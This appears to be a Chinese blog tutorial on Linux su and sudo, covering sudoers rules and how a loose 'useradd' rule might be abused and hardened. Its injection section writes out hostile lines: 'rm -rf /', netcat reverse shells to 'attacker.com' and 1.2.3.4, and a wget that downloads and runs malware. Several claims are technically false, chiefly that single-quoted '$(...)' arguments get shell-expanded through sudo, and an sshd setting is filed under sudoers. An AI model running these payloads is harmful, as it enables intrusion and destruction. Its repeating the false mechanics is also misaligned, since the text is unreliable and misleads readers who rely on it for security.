提权

提权

su“Switch User”“Substitute User” 的缩写,它的主要功能是允许一个已登录的用户切换到另一个用户的身份,并在新的 Shell 会话中以该用户的权限运行命令。当目标是切换到超级用户 (root) 时,这个过程就被称为 “提权”

su [选项] [用户名]
su # 不加用户名默认为切换到root目录
su -c # -c 命令是以目标用户身份执行单条命令后退出
su -s # -s 指定shell如/bin/bash

命令示例

su - root		# 切换root用户并执行shell登录,将当前目录切换到目标用户的家目录,清除大多数环境变量就像目标用户自己登录一样,提供目标用户预期的完整、干净的环境。
su root # 换到目标用户身份,但保持当前 Shell 的工作目录和环境变量不变(继承自调用者)
su - # 同 su - root

切换用户

su enterprise		# 不加 - ,注意观察路径

image-20250731184051592

su - enterprise

image-20250731184255017

执行单条命令后退出

su - enterprise -c "whoami"

image-20250731184534973

注意

su需要输入目标用户的密码,若多人共用root密码,则难以审计操作来源,使用sudo·时间权限最小化和操作审计。

在安全要求高的场景,可以禁用root用户的su切换。

# 编辑 /etc/pam.d/su
auth required pam_wheel.so use_uid
# 仅允许 wheel 组成员使用 su 命令

切换用户后可以使用exit命令或是ctrl + D退回原用户

实际场景应用

系统维护中

su - root -c "apt upgrate && apt autoremove"	# 以 root 用户身份更新系统

在多用户协作中

su - user	# 切换到开发人员user的账户调试环境

脚本临时提权

# !/bin/bash
# 以 root 身份创建目录
su - root -c "mkdir /opt/custom_app"
chown user:user /opt/custom_app

临时提权

sudo“superuser do”“substitute user do” 的缩写,它的核心功能是:允许一个已授权用户以另一个用户(通常是 root)的身份执行特定的命令,而无需知道目标用户的密码。

sudosu相比

  1. 无需共享 root 密码: 管理员无需告知任何人 root 密码,大大降低了密码泄露的风险。用户使用自己的密码进行提权。
  2. 最小权限原则: 可以精确授予用户执行其工作所需的最少命令权限,而不是赋予完整的 root Shell 访问。例如,只允许用户重启 apache 服务,而不能做其他操作。
  3. 详细的审计追踪: 所有 sudo 操作都会被记录(命令、参数、执行时间、用户、终端等),方便事后审查和故障排查。
  4. 更高的安全性: 减少了意外执行破坏性命令的风险(因为每次都需要显式使用 sudo),并且限制了攻击者获取完整 root 访问的途径。
  5. 更灵活的配置: 可以定义用户组、命令组、主机组,并设置复杂的规则(如环境变量、输入/输出日志、超时等)。

语法

sudo [选项] 命令

常用 sudo 选项:

  • -l--list 列出当前用户被允许执行的 sudo 命令。强烈建议在执行 sudo 前先使用此命令确认权限。
  • -v--validate 刷新用户的 sudo 身份验证状态(延长密码缓存时间),而不执行任何命令。如果密码即将过期,会提示重新输入。
  • -k--reset-timestamp 立即终止用户的 sudo 身份验证状态(清除密码缓存),下次使用 sudo 需要重新输入密码。
  • -u username--user=username 以指定的用户身份执行命令(默认为 root)。例如 sudo -u bob touch /tmp/bobfile.txt
  • -s--shell 启动目标用户(默认为 root)的 Shell(由 SHELL 环境变量或目标用户的默认 Shell 决定)。这是一个交互式 Shell,但环境变量可能部分继承当前用户(取决于配置和是否使用 -H)。
  • -i--login 模拟目标用户(默认为 root)的登录过程。类似 su -
    • 切换到目标用户的家目录。
    • 清除大多数环境变量。
    • 加载目标用户的 Shell 配置文件 (~/.profile, ~/.bash_profile 等)。
    • 提供目标用户预期的完整环境。
  • -H--set-homeHOME 环境变量设置为目标用户的家目录(通常在配合 -s-i 时自动设置,单独执行命令时可能需要显式指定以确保命令使用正确的家目录)。
  • -b--background 在后台运行指定的命令。
  • -E--preserve-env 保留当前用户的环境变量传递给 sudo 执行的命令。注意: 管理员可以在 /etc/sudoers 中通过 env_reset 选项禁用此行为或使用 env_keep 指定保留的变量。使用此选项需要配置允许。

sudo命令的执行过程

1、系统读取/etc/sudoers文件,验证用户是否有权执行该命令

2、验证当前用户的密码

3、以目标身份执行命令,完成后权限自动回收

sudo的配置文件/etc/sudoers

所有 sudo 的授权规则都定义在 /etc/sudoers 文件中。

只能使用编辑工具**visudo**,若使用vim等编辑器对/etc/sudoers文件进行编辑可能会造成语法错误,从而导致所有用户都无法使用sudo命令。

并且visudo在保存时会检查语法,如果检测到错误,它会警告你并拒绝保存损坏的配置,给你修复的机会。

基本结构

  • 名定义 (User_Alias, Host_Alias, Cmnd_Alias, Runas_Alias): 用于分组用户、主机、命令和目标用户,使规则更清晰和可管理。
  • 用户规范 (User_Spec): 定义谁可以在哪里以谁的身份运行什么命令。这是核心配置部分。

配置语法

用户/组	主机=(可切换身份)	可执行的命令 [参数]

用户/组:%开头表示组

**主机:**ALL表示所有主机

可切换身份:ALL表示任意用户,可指定为root

**命令:**需要使用绝对路径

示例

# 允许 wheel 组成员以 root 身份执行所有命令
%wheel ALL=(ALL) ALL
# 允许用户 user 无需密码重启 Apache
user ALL=(root) NOPASSWD: /usr/bin/systemctl restart httpd
# 允许用户 user 在特定主机上管理用户
user host01=(root) /usr/sbin.useradd, /usr/sbin/userdel

使一个用户 userall 具有删除用户的权限

# 方法一将userall用户加入wheel用户组
usermod -aG wheel userall

# 方法二编辑/etc/sudoers文件为userall用户添加特权
visudo
添加 userall ALL=(root) /usr/sbin/userdel,/usr/sbin/useradd
或者
userall ALL=(ALL:ALL) ALL

基本使用

sudo apt update		# 更新软件包列表

sudo -u mysql /usr/bin/mysql_safe # 以mysql用户身份执行命令

sudo -i # 切换到 root 用户的完整环境
sudo -s # 启动 root 的 shell

sudo -l # 列出单签当前用户可执行的命令

在安全领域的应用

# 仅允许用户管理服务
user1 ALL=(root) /usr/bin/systemctl restart nginx, /usr/bin/systemctl status nginx

# 超时配置,五分钟后需要重新输入密码
user2 ALL=(root) NOPASSWD: /usr/bin/apt update

# 禁用root登录
PermitRootLogin no

注意

# 允许 user 仅能添加用户(禁止删除)
user5 ALL=(root) /usr/sbin/useradd [A-Za-z]*

这个模式匹配规则存在严重缺陷,无法有效防止命令注入或滥用,甚至可能带来意想不到的问题。

1、无法防止命令注入(最严重问题):

  • sudo 的命令参数匹配是基于模式匹配的,它不是在执行命令前对参数进行安全解析或转义。
# useradd 命令本身会解释它接收到的参数
sudo /usr/sbin/useradd '$(rm -rf /)'
# 当 useradd 尝试处理这个用户名时,Bash(或其他Shell)会先执行命令替换 $(rm -rf /)。结果是 useradd 会尝试创建一个名字是 rm -rf / 命令输出结果的用户,但在执行 useradd 之前,$(rm -rf /) 就已经被执行了。

2、无法有效限制用户名:

  • user5 可以轻松创建包含 $, (, ), ``, -, /, ```, ;, &, | 等特殊字符的用户名,只要这些字符被包裹在一个连续的字符串参数中。这可能导致:
    • 系统管理工具(如 ls -l /home)显示混乱。
    • 脚本处理用户列表时出错。
    • 更严重的安全隐患(如利用特殊字符绕过某些检查)。
  • Linux 用户名允许包含字母、数字、下划线 _、连字符 - 和美元符号 $(通常不能以 $ 开头)。完全禁止数字和 _- 可能不符合实际需求。

3、错误地阻止了必要的选项:

  • 规则 /usr/sbin/useradd [A-Za-z]* 不允许使用任何选项,因为选项前面有空格和 -。这导致 user5 只能运行最基本的 sudo /usr/sbin/useradd username。根据系统默认配置,这可能:
    • 不创建主目录 (/home/username): 用户无法登录或使用不便。
    • 使用默认的 Shell (可能是 /bin/sh 或禁用的 /usr/sbin/nologin)。
    • 使用默认的主组 (通常是 usersnogroup),这可能不符合要求。

解决办法

  • 尝试 [a-zA-Z][a-zA-Z0-9_-]* (要求首字符是字母,后面可以是字母、数字、下划线、连字符)。这仍然不能完全防止所有特殊字符注入(比如如果用户名里有单引号,攻击者可能构造闭合),但比 [A-Za-z]* 好很多。

  • 显式允许必要的安全选项: 将这些选项固定在命令中。sudoers 规则不支持“默认添加选项”,只能通过定义多个命令别名或规则来实现。

命令实验

使一个用户 userall 具有删除用户的权限

# 方法一将userall用户加入wheel用户组
usermod -aG wheel userall

# 方法二编辑/etc/sudoers文件为userall用户添加特权
visudo
添加 userall ALL=(root) /usr/sbin/userdel,/usr/sbin/useradd
或者
userall ALL=(ALL:ALL) ALL

首先创建用户test并测试sudo权限

[root@wickt 桌面]# useradd test
[root@wickt 桌面]# passwd test

image-20250731200713692

将test用户加入wheel组

[root@wickt 桌面]# usermod -aG wheel test
[root@wickt 桌面]# grep "wheel" /etc/group
wheel:x:10:test

image-20250731201217015

编辑/etc/sudoers文件

[root@wickt 桌面]# visudo
# 添加 test ALL=(ALL:ALL) ALL
[root@wickt 桌面]# grep "test" /etc/sudoers
test ALL=(ALL:ALL) ALL

image-20250731201530954

在特殊背景下的命令注入攻击与防御

user5 ALL=(root) /usr/sbin/useradd这条规则允许 user5root 身份执行 /usr/sbin/useradd 命令。如果 user5 被攻击者控制(例如,通过一个 Web 表单或脚本间接接受用户输入来构造 useradd 命令的参数),并且这些输入没有经过严格的过滤和转义,攻击者就能尝试在参数中注入额外的命令。

m -rf /        	# 删除文件
wget / curl #下载并执行恶意脚本
echo #覆盖系统环境变量
nc 1.2.3.4 4444 #反向shell
find / -exec rm -rf # 结合-exec执行恶意操作
tar # 压缩覆盖系统文件
chmod
cat

攻击方式与具体注入命令示例

攻击者会尝试利用 useradd 命令的参数或环境变量来注入分隔符(如 ;, &, |, $(), ```` `````)或换行符 \n,使得 sudo 在执行 /usr/sbin/useradd 时,实际执行了攻击者注入的恶意命令。

  1. 利用 -p / --password 参数 (密码哈希):

    • 攻击原理: -p 参数接受的是加密后的密码哈希字符串。如果攻击者能控制这个哈希值,他们可以构造一个包含命令分隔符的“哈希”。

    • 注入示例:

      sudo useradd -p '$(reboot)' malicioususer  # 尝试在密码字段执行reboot
      sudo useradd -p '; shutdown -h now;' malicioususer # 尝试执行关机
      sudo useradd -p '`id > /tmp/exploit`' malicioususer # 尝试执行id命令并输出结果
      sudo useradd -p '| nc attacker.com 4444 -e /bin/bash |' malicioususer # 尝试反弹shell
  2. 利用 -s / --shell 参数 (登录 Shell):

    • 攻击原理: 指定用户登录时使用的 shell。攻击者可以将其设置为一个恶意命令或脚本。

    • 注入示例:

      sudo useradd -s '/bin/bash -c "id; wget http://attacker.com/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m &"' malicioususer
      # 创建一个用户,其登录shell实际上会执行一串命令:打印id、下载恶意软件、执行它
  3. 利用 -c / --comment 参数 (GECOS 字段/用户备注):

    • 攻击原理: 用户备注信息。虽然 useradd 通常会对这个字段做一定的处理,但在某些实现或特定上下文(如后续脚本处理该字段时)仍可能存在风险。攻击者会尝试注入命令。

    • 注入示例:

      sudo useradd -c '$(touch /tmp/gecos_exploit)' malicioususer # 尝试在注释字段执行命令
      sudo useradd -c 'Bad User; echo "Exploited!" >> /etc/motd' malicioususer # 尝试注入命令修改motd
  4. 利用 -g / --gid-G / --groups 参数 (主组/附加组):

    • 攻击原理: 组名理论上应该是字母数字组合。但如果系统允许非标准组名(或未经验证),攻击者可能尝试注入。

    • 注入示例 (风险较低,但理论上可能):

      sudo useradd -G 'wheel; reboot' malicioususer # 尝试在组名后附加命令
  5. 利用环境变量 (如果 sudo 环境未清理干净):

    • 攻击原理: useradd 的行为可能受某些环境变量影响(如 PATH, USERADD_* 等特定变量)。如果 sudoers 配置不严格(如未设置 env_resetenv_keep 包含危险变量),攻击者可以设置环境变量来影响 useradd 的行为或执行路径中的恶意程序。
    • 攻击步骤:
      1. 攻击者设置一个恶意的 PATHexport PATH=/tmp/evil:$PATH
      2. /tmp/evil 下放置一个名为 useradd 的恶意脚本。
      3. 执行 sudo useradd ...。如果 sudo 没有重置 PATH 到安全路径,它可能会优先执行 /tmp/evil/useradd 这个恶意脚本,而不是 /usr/sbin/useradd
    • 依赖条件: sudoers 中该规则或全局配置缺少 env_resetsecure_path 设置,或者错误地 env_keepPATH
  6. 利用 --extrausers (如果支持且路径可控):

    • 攻击原理: 一些 useradd 实现可能有 --extrausers 选项指向一个外部用户数据库文件。如果攻击者能控制这个路径,可以指向一个恶意文件。

    • 注入示例:

      sudo useradd --extrausers /tmp/evil_users.conf malicioususer # 可能加载恶意配置

如何防护命令注入攻击

防护的核心在于 最小权限原则严格输入验证安全配置避免直接执行命令行

  1. 避免授予不必要的 sudo 权限 (最佳防御):

    • 根本解决: 仔细评估是否真的需要让 user5 直接通过 sudo 执行 useradd。大多数场景下,应该有更安全的替代方案(如专门的配置管理工具、API、受限制的Web界面)。
    • 替代方案: 使用像 adduser 这样的封装脚本(如果它提供更好的参数过滤),或者开发一个专用的、严格限制参数的小型程序/脚本,只允许执行必要的操作,并通过这个程序来代理 useradd 调用。然后只允许 sudo 执行这个安全的代理程序。
  2. 在 sudoers 中使用命令参数白名单 (如果必须使用):

    • 核心防护: 这是防护 sudo 命令注入最有效的手段之一。不要只写命令路径 (/usr/sbin/useradd),要为命令指定允许的参数。

    • 语法: user5 ALL=(root) /usr/sbin/useradd [allowed-options]

    • 示例:

      # 只允许创建用户名为字母数字、指定家目录(固定模式或受限路径)、禁止设置密码、使用固定shell
      user5 ALL=(root) /usr/sbin/useradd -m -d /home/* -s /bin/bash -- [a-zA-Z0-9]*
      • -m -d /home/*:强制创建家目录且路径必须匹配 /home/*
      • -s /bin/bash:固定使用 /bin/bash,防止注入其他 shell 路径。
      • -- [a-zA-Z0-9]*-- 表示选项结束,后面只能跟匹配 [a-zA-Z0-9]* 正则表达式的用户名(只允许字母数字)。这是最关键的部分,严格限制了用户名格式。
    • 关键点:

      • 使用 -- 明确分隔选项和用户名。
      • 使用 正则表达式精确匹配 来严格限定用户名、家目录路径等参数的格式(只允许字母、数字、下划线等安全字符)。sudoers 支持基本的通配符 (?, *) 和字符类 ([a-z], [0-9]),更复杂的需求可能需要结合包装脚本。
      • 明确禁止危险选项:-p (密码)、-c (注释 - 如果不需要复杂注释)、-g/-G (如果组名需要严格控制)。在允许列表模式中,不列出的选项就是禁止的。
      • 避免允许用户设置密码 (-p)。初始密码应通过其他安全机制设置。
  3. 强化 sudo 环境:

    • 设置 env_resetsudoers 文件 (Defaults env_reset) 或针对该规则 (Defaults:user5 env_reset) 确保执行命令时环境变量被重置为一个安全的、最小的默认集。

    • 设置 secure_pathsudoers 中定义 Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" (或类似的安全路径),确保 sudo 执行命令时只在受控路径下搜索程序,防止 PATH 污染攻击。

    • 清除危险环境变量: 使用 env_delete 明确删除可能影响目标命令行为的环境变量,特别是 PATH, USERADD_*, SHELL 等。

      Defaults env_delete += "PATH USERADD_* SHELL ..."
  4. 在调用 sudo 之前进行严格的输入验证 (应用层防护):

    • 如果 user5 的操作是由一个程序(如Web应用、脚本)触发的,该程序必须对用户提供的所有输入(用户名、组名等)进行严格的验证和过滤。
    • 白名单验证: 只允许已知安全的字符集合(如字母、数字、下划线、短横线)。强烈拒绝任何命令分隔符 (; & | $() `` ``\n)、引号、路径分隔符 (/)、特殊字符等。
    • 长度限制: 对输入参数施加合理的长度限制。
    • 内容检查: 检查输入是否符合预期的格式(如用户名规则)。
    • 永远不要信任用户输入!
  5. 使用专门的 API 代替命令行工具:

    • 更安全的替代方案: 如果应用程序需要以编程方式管理用户,避免使用 system(), exec(), popen() 等执行 shell 命令的函数。转而使用操作系统提供的专用库或 API。
    • Linux 示例: 使用 libuser 库 或直接操作 /etc/passwd, /etc/shadow, /etc/group 文件(需极其小心权限和数据完整性)或使用 PAM 模块接口。这些 API 通常能避免命令解析和注入的风险。
  6. 最小化可用选项:

    • sudoers 命令白名单中,只允许创建用户所必需的绝对最少的选项。例如:
      • 固定使用 -m (创建家目录)。
      • 固定使用安全的默认 shell (-s /bin/bash/sbin/nologin)。
      • 绝对禁止 -p (密码)。
      • 限制 -d (家目录) 到特定安全路径模式。
      • 限制 -g/-G 到特定的、已知安全的组名(如果必须)。
  7. 审计与监控:

    • 启用 sudo 日志 (syslog),并密切监控所有 sudo 命令的执行,特别是 useradd 的使用。关注异常参数或用户名。
    • 定期审计 sudoers 配置和系统用户列表。
Author: wickt42
Link: http://example.com/2025/07/31/linux提权/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.